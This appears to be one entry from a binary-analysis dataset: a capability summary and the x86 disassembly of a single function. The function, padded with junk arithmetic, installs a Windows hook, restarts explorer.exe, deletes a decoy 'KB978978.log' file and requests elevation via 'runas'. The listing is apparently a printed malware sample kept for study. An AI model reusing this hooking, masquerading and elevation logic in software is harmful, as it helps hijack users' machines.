Function at 0x406170
Capabilities:
Check if file exists
Create process on windows
Delete file
Get common file path

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x106c
call fcn.00427d10
mov eax, dword [0x455e64]
mov ecx, dword [0x454dfc]
mov dword [esp + 0x1068], eax
push ebx
mov ebx, dword [0x454e08]
mov eax, 0x9a96bd3d
imul ebx
add edx, ebx
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, ecx
imul edx, edx, 0x1628
push esi
push edi
mov edi, dword [0x454df8]
sub edx, eax
mov eax, dword [0x454e14]
mov esi, edi
imul eax, eax, 0x10a2
imul esi, esi, 0x9f1
add edx, esi
mov dword [esp + 0x10], esi
lea esi, [eax + edx + 0x20a4]
cmp dword [ebp + 8], 0x132b600
mov dword [esp + 0x14], 0
mov dword [str._r_____r_____n], esi
je 0x406285
mov eax, 0x2d5481cb
imul ecx
sar edx, 0xa
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0x5c6f35cd
imul dword [0x454e14]
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov eax, 0x5c6f35cd
imul ebx
sub esi, ecx
sar edx, 0xb
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
sub esi, ecx
mov ecx, dword [0x454e0c]
mov eax, 0x3de9fdd3
imul ecx
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
sub esi, 0x1b7b
mov dword [0x454dfc], esi
mov esi, 0x64
push 0x3e8
call edi
dec esi
jne 0x406266
xor eax, eax
mov ecx, dword [esp + 0x1074]
call fcn.004274c1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ebx, dword [0x454e00]
imul ebx, ebx, 0x1b7c
mov edx, ecx
imul edx, edx, 0x1a7f
mov eax, edi
imul eax, eax, 0x1988
add ebx, edx
sub ebx, eax
mov eax, 0x3de9fdd3
imul edi
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, dword [section.HookData]
test eax, eax
mov dword [0x454e08], ebx
je 0x40633e
mov ecx, dword [0x454df4]
mov eax, 0x950d22f9
imul ecx
add edx, ecx
sar edx, 0xc
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x454e0c]
imul edx, edx, 0x1a7f
mov edi, ecx
mov ecx, dword [0x454e10]
sub edi, edx
mov eax, 0xa06e4bd5
imul ebx
add edx, ebx
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x3de9fdd3
imul ecx
sar edx, 0xa
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub edi, ecx
add edi, esi
mov dword [0x454df4], edi
mov eax, 1
mov ecx, dword [esp + 0x1074]
call fcn.004274c1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov esi, dword [0x454e10]
mov eax, 0xb40b40b5
imul esi, esi, 0x1b7b
imul ebx
add edx, ebx
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x454e04]
imul edx, edx, 0x108a
sub esi, eax
add esi, dword [esp + 0x10]
lea eax, [edx + esi + 0x20a4]
mov dword [0x454e00], eax
jmp 0x406380
mov eax, 0x2d5481cb
imul edi
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [str._r_____r_____n]
imul edx, edx, 0x1697
sub edx, eax
mov eax, dword [0x454e04]
imul eax, eax, 0x8e6
lea esi, [edx + eax - 0x1b7b]
mov eax, dword [ebp + 0x10]
test eax, eax
mov dword [0x454e0c], esi
jg 0x40649a
mov eax, dword [ebp + 0x14]
test eax, eax
je 0x40649a
lea edx, [eax + 1]
mov dword [esp + 0x10], edx
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x4063d4
sub eax, dword [esp + 0x10]
mov dword [esp + 0x10], eax
je 0x40649a
mov eax, 0x1f5f3801
imul esi, esi, 0x9f1
imul ecx
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ecx, eax
mov eax, dword [0x454e00]
imul eax, eax, 0x16c0
sub ecx, eax
mov eax, dword [0x454e14]
imul eax, eax, 0x10a2
sub ecx, eax
mov eax, dword [ebp + 0x14]
push eax
lea edx, [ecx + esi + 0x1697]
push 0
mov dword [0x454df8], edx
call fcn.004043d0
add esp, 8
test eax, eax
mov dword [esp + 0x10], eax
jle 0x406cb4
mov ebx, dword [0x454e08]
mov ecx, dword [0x454df4]
imul ecx, ecx, 0x16c0
mov esi, ebx
imul esi, esi, 0x20a4
mov edi, dword [0x454df8]
add esi, ecx
mov ecx, dword [0x454e10]
mov eax, 0x5c6f35cd
imul ecx
mov ecx, dword [0x454dfc]
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
sub esi, edi
add esi, 0x625
mov dword [0x454e10], esi
mov esi, dword [0x454e14]
jmp 0x406500
mov eax, 0x5f91b42b
imul esi, esi, 0x20a4
imul dword [str._r_____r_____n]
sub edx, dword [str._r_____r_____n]
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, esi
mov esi, dword [0x454e04]
mov dword [esp + 0x10], eax
mov eax, 0xb40b40b5
imul dword [0x454e04]
add edx, esi
mov esi, dword [esp + 0x10]
sar edx, 0xc
mov eax, edx
add esi, edx
shr eax, 0x1f
add eax, esi
mov edx, ecx
imul edx, edx, 0x9f1
lea esi, [eax + edx - 0x1b7b]
mov eax, dword [ebp + 0x10]
mov dword [0x454e14], esi
mov dword [esp + 0x10], eax
mov eax, 0x9a96bd3d
imul ecx, ecx, 0x1628
imul esi, esi, 0x10a2
imul ebx
imul edi, edi, 0x9f1
add edx, ebx
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
add ecx, esi
lea ecx, [ecx + edi + 0x20a4]
push str.c:windowsKB978978.log
mov dword [str._r_____r_____n], ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, dword [0x454df4]
mov eax, 0x950d22f9
imul ecx
add edx, ecx
mov ecx, dword [0x454e0c]
sar edx, 0xc
imul ecx, ecx, 0x1a7f
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
sub esi, ecx
mov ecx, dword [0x454e08]
mov eax, 0xa06e4bd5
imul ecx
add edx, ecx
mov ecx, dword [0x454e10]
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x3de9fdd3
imul ecx
mov eax, dword [str._r_____r_____n]
sar edx, 0xa
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [esp + 0x10]
sub esi, ecx
mov ecx, dword [ebp + 0xc]
add esi, eax
mov eax, dword [0x56716c]
push edx
push eax
push sym.CallDll.exe_long_int___stdcall_EngineProc_int__unsigned_int__long_int_
push ecx
mov dword [0x454df4], esi
call dword [sym.imp.USER32.dll_SetWindowsHookExA]
test eax, eax
mov ecx, dword [0x454dfc]
mov dword [section.HookData], eax
je 0x406d29
mov eax, 0x2d5481cb
imul ecx
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov eax, 0x5c6f35cd
imul dword [0x454e14]
sar edx, 0xb
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0x5c6f35cd
imul dword [0x454e08]
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, esi
sub ecx, eax
mov eax, 0x3de9fdd3
imul dword [0x454e0c]
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
sub ecx, 0x1b7b
mov dword [0x567170], 1
xor edi, edi
jmp 0x406650
mov ecx, dword [0x454dfc]
lea ebx, [ebx]
mov eax, 0x2d5481cb
imul ecx
sar edx, 0xa
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0x5c6f35cd
imul dword [0x454e14]
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov eax, 0x5c6f35cd
imul dword [0x454e08]
sub esi, ecx
sar edx, 0xb
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0x3de9fdd3
imul dword [0x454e0c]
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
sub esi, ecx
add eax, edx
sub esi, eax
sub esi, 0x1b7b
push str.c:windowsKB978978.log
mov dword [0x454dfc], esi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
cmp eax, 1
je 0x4066d9
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
inc edi
cmp edi, 0x12c
jl 0x406644
mov ecx, dword [0x454e00]
mov esi, dword [0x454e14]
mov eax, 0x1f5f3801
imul ecx
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov eax, 0x1f5f3801
imul esi
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, esi
imul edx, edx, 0x1b7b
sub eax, ebx
sub eax, edx
mov edx, dword [0x454e04]
mov ebx, eax
mov eax, 0x7b214ec3
imul edx
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add ebx, edx
cmp edi, 0x12c
lea edx, [eax + ebx + 0x16c0]
mov dword [0x454e04], edx
jl 0x406d84
mov eax, dword [esp + 0x14]
test eax, eax
jne 0x406d84
mov eax, dword [0x454dfc]
imul ecx, ecx, 0x1b7c
mov edx, dword [0x454df8]
imul eax, eax, 0x1a7f
add ecx, eax
mov eax, edx
imul eax, eax, 0x1988
sub ecx, eax
mov eax, 0x3de9fdd3
imul edx
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov dword [0x454e08], ecx
push 0x800
lea ecx, [esp + 0x74]
push ecx
mov dword [esp + 0x1c], 1
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov ecx, dword [0x454df8]
mov eax, 0x2d5481cb
imul ecx
mov ecx, dword [str._r_____r_____n]
sar edx, 0xa
imul ecx, ecx, 0x1697
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x454e04]
imul edx, edx, 0x8e6
sub ecx, eax
lea eax, [ecx + edx - 0x1b7b]
lea ecx, [esp + 0x70]
push ecx
lea edx, [esp + 0x874]
push str._sexplorer.exe
push edx
mov dword [0x454e0c], eax
call fcn.00427bea
lea eax, [esp + 0x87c]
push 0
push eax
call fcn.004279dd
add esp, 0x14
cmp eax, 0xffffffff
je 0x406c45
mov esi, dword [0x454e08]
mov ecx, dword [0x454df4]
imul esi, esi, 0x20a4
imul ecx, ecx, 0x16c0
mov ebx, dword [0x454df8]
add esi, ecx
mov ecx, dword [0x454e10]
mov eax, 0x5c6f35cd
imul ecx
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
sub esi, ebx
add esi, 0x625
push str.explorer.exe
mov dword [0x454e10], esi
call fcn.00418780
mov ecx, dword [str._r_____r_____n]
mov esi, dword [0x454e0c]
mov eax, 0x5f91b42b
imul esi, esi, 0x20a4
imul ecx
sub edx, ecx
sar edx, 0xc
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edi, ecx
mov ecx, dword [0x454e04]
mov eax, 0xb40b40b5
imul ecx
add edx, ecx
mov ecx, dword [0x454dfc]
sar edx, 0xc
sub edi, esi
mov eax, edx
add edi, edx
shr eax, 0x1f
add eax, edi
mov edx, ecx
add esp, 4
imul edx, edx, 0x9f1
lea esi, [eax + edx - 0x1b7b]
mov dword [0x454e14], esi
mov dword [esp + 0x10], 5
jmp 0x4068e0
mov ecx, dword [0x454dfc]
mov esi, dword [0x454e14]
nop
mov edi, dword [0x454e08]
imul ecx, ecx, 0x1628
imul esi, esi, 0x10a2
mov eax, 0x9a96bd3d
imul edi
add edx, edi
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x454df8]
imul edx, edx, 0x9f1
sub ecx, eax
add ecx, esi
lea eax, [ecx + edx + 0x20a4]
push str.explorer.exe
mov dword [str._r_____r_____n], eax
call fcn.004182f0
add esp, 4
test eax, eax
jg 0x406beb
mov ecx, dword [0x454df4]
mov esi, dword [0x454e0c]
mov eax, 0x950d22f9
imul ecx
add edx, ecx
sar edx, 0xc
mov ecx, edx
mov ebx, dword [0x454e08]
shr ecx, 0x1f
add ecx, edx
mov edi, ecx
mov edx, esi
imul edx, edx, 0x1a7f
sub edi, edx
mov ecx, dword [0x454e10]
mov eax, 0xa06e4bd5
imul ebx
add edx, ebx
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x3de9fdd3
imul ecx
sar edx, 0xa
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub edi, ecx
mov ecx, dword [str._r_____r_____n]
xor eax, eax
add edi, ecx
mov dword [0x454df4], edi
mov ecx, 0x11
lea edi, [esp + 0x18]
rep stosd dword es:[edi], eax
mov ecx, dword [0x454dfc]
mov edi, dword [0x454e14]
mov eax, 0x1f5f3801
imul ecx
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x454e00]
imul edx, edx, 0x16c0
sub eax, edx
mov edx, edi
imul edx, edx, 0x10a2
sub eax, edx
mov edx, esi
imul edx, edx, 0x9f1
lea eax, [eax + edx + 0x1697]
mov dword [0x454df8], eax
mov eax, 0x2d5481cb
imul ecx
sar edx, 0xa
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0x5c6f35cd
imul edi
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0x5c6f35cd
imul ebx
sub edi, ecx
sar edx, 0xb
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0x3de9fdd3
sub edi, ecx
imul esi
mov dword [esp + 0x18], 0x44
mov dword [esp + 0x44], 1
mov word [esp + 0x48], 5
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
lea ecx, [esp + 0x60]
push ecx
sub edi, eax
lea edx, [esp + 0x1c]
push edx
lea eax, [esp + 0x78]
push eax
push 0
push 0x20
push 0
push 0
push 0
lea ecx, [esp + 0x890]
push ecx
sub edi, 0x1b7b
push 0
mov dword [0x454dfc], edi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x406aea
mov ecx, dword [0x454e08]
mov edi, dword [0x454e10]
mov eax, 0xb40b40b5
imul edi, edi, 0x1b7b
imul ecx
mov esi, dword [0x454df8]
add edx, ecx
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x454e04]
imul edx, edx, 0x108a
sub edi, eax
add edi, edx
mov eax, esi
imul eax, eax, 0x9f1
lea edx, [edi + eax + 0x20a4]
mov dword [0x454e00], edx
jmp 0x406bf7
mov ecx, dword [0x454e00]
mov eax, 0x1f5f3801
imul ecx
mov ecx, dword [0x454e14]
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov eax, 0x1f5f3801
imul ecx
imul ecx, ecx, 0x1b7b
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
sub edi, esi
sub edi, ecx
mov ecx, dword [0x454e04]
mov eax, 0x7b214ec3
imul ecx
sar edx, 0xb
push 1
mov ecx, edx
shr ecx, 0x1f
lea eax, [esp + 0x74]
push eax
add edi, edx
lea edx, [ecx + edi + 0x16c0]
push 0
lea ecx, [esp + 0x87c]
push ecx
push str.runas
push 0
mov dword [0x454e04], edx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 0x20
mov esi, dword [0x454df8]
jg 0x406bb2
mov ecx, dword [0x454e00]
mov edx, dword [0x454dfc]
imul ecx, ecx, 0x1b7c
imul edx, edx, 0x1a7f
mov eax, esi
imul eax, eax, 0x1988
add ecx, edx
sub ecx, eax
mov eax, 0x3de9fdd3
imul esi
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov dword [0x454e08], ecx
jmp 0x406bf7
mov eax, 0x2d5481cb
imul esi
mov eax, dword [0x454e04]
sar edx, 0xa
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [str._r_____r_____n]
imul edx, edx, 0x1697
sub edx, ecx
imul eax, eax, 0x8e6
lea ecx, [edx + eax - 0x1b7b]
mov dword [0x454e0c], ecx
jmp 0x406bf1
mov esi, dword [0x454df8]
mov ecx, dword [0x454e08]
mov edx, dword [0x454df4]
imul ecx, ecx, 0x20a4
imul edx, edx, 0x16c0
add ecx, edx
mov eax, 0x5c6f35cd
imul dword [0x454e10]
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
sub ecx, esi
add ecx, 0x625
push 0x3e8
mov dword [0x454e10], ecx
call dword [sym.imp.KERNEL32.dll_Sleep]
dec dword [esp + 0x10]
jne 0x4068d3
mov ecx, dword [str._r_____r_____n]
mov esi, dword [0x454e0c]
mov eax, 0x5f91b42b
imul esi, esi, 0x20a4
imul ecx
sub edx, ecx
sar edx, 0xc
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edi, ecx
mov ecx, dword [0x454e04]
mov eax, 0xb40b40b5
imul ecx
mov ebx, dword [0x454e08]
add edx, ecx
mov ecx, dword [0x454dfc]
sar edx, 0xc
sub edi, esi
mov eax, edx
add edi, edx
shr eax, 0x1f
add eax, edi
mov edi, dword [0x454df8]
mov edx, ecx
imul edx, edx, 0x9f1
lea eax, [eax + edx - 0x1b7b]
mov dword [0x454e14], eax
jmp 0x406380
mov ecx, dword [0x454e00]
mov eax, 0x1f5f3801
imul ecx
sar edx, 0xa
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov esi, ecx
mov ecx, dword [0x454e14]
mov eax, 0x1f5f3801
imul ecx
imul ecx, ecx, 0x1b7b
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
sub edi, esi
sub edi, ecx
mov ecx, dword [0x454e04]
mov eax, 0x7b214ec3
imul ecx
sar edx, 0xb
mov ecx, edx
shr ecx, 0x1f
add edi, edx
lea edx, [ecx + edi + 0x16c0]
mov dword [0x454e04], edx
xor eax, eax
mov ecx, dword [esp + 0x1074]
call fcn.004274c1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, 0x1f5f3801
imul ecx
mov ecx, dword [0x454e00]
imul ecx, ecx, 0x16c0
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x454e14]
sub eax, ecx
imul edx, edx, 0x10a2
mov ecx, dword [0x454e0c]
imul ecx, ecx, 0x9f1
sub eax, edx
lea edx, [eax + ecx + 0x1697]
mov dword [0x454df8], edx
xor eax, eax
mov ecx, dword [esp + 0x1074]
call fcn.004274c1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [0x454e08]
imul esi, esi, 0x10a2
mov eax, 0x9a96bd3d
imul ecx
add edx, ecx
mov ecx, dword [0x454dfc]
sar edx, 0xc
imul ecx, ecx, 0x1628
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x454df8]
imul edx, edx, 0x9f1
sub ecx, eax
add ecx, esi
lea eax, [ecx + edx + 0x20a4]
mov ecx, dword [esp + 0x1074]
mov dword [str._r_____r_____n], eax
mov eax, 1
call fcn.004274c1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret